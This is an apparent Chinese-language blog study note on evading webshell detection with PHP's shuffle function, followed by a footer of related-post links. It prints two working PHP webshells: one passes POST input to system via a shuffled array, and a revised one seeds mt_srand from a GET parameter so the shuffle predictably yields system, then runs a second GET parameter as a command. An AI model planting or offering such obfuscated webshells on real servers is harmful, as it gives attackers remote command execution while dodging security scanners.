记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
智驱力人工智能3 小时前
基于视觉分析的人脸联动使用手机检测系统 智能安全管理新突破 人脸与手机行为联动检测 多模态融合人脸与手机行为分析模型
算法·安全·目标检测·计算机视觉·智能手机·视觉检测·边缘计算
循环过三天4 小时前
3.4、Python-集合
开发语言·笔记·python·学习·算法
昌sit!5 小时前
Linux系统性基础学习笔记
linux·笔记·学习
学会沉淀。6 小时前
设备如何“开口说话”?
学习
网安小白的进阶之路6 小时前
A模块 系统与网络安全 第四门课 弹性交换网络-5
网络·安全·web安全
m0_591338917 小时前
day10数组的学习
学习
仰望—星空7 小时前
MiniEngine学习笔记 : CommandListManager
c++·windows·笔记·学习·cg·direct3d
电子云与长程纠缠7 小时前
Blender入门学习09 - 制作动画
学习·blender
电子云与长程纠缠7 小时前
Blender入门学习10 - 曲线绘制
学习·blender
下午见。8 小时前
C语言结构体入门:定义、访问与传参全解析
c语言·笔记·学习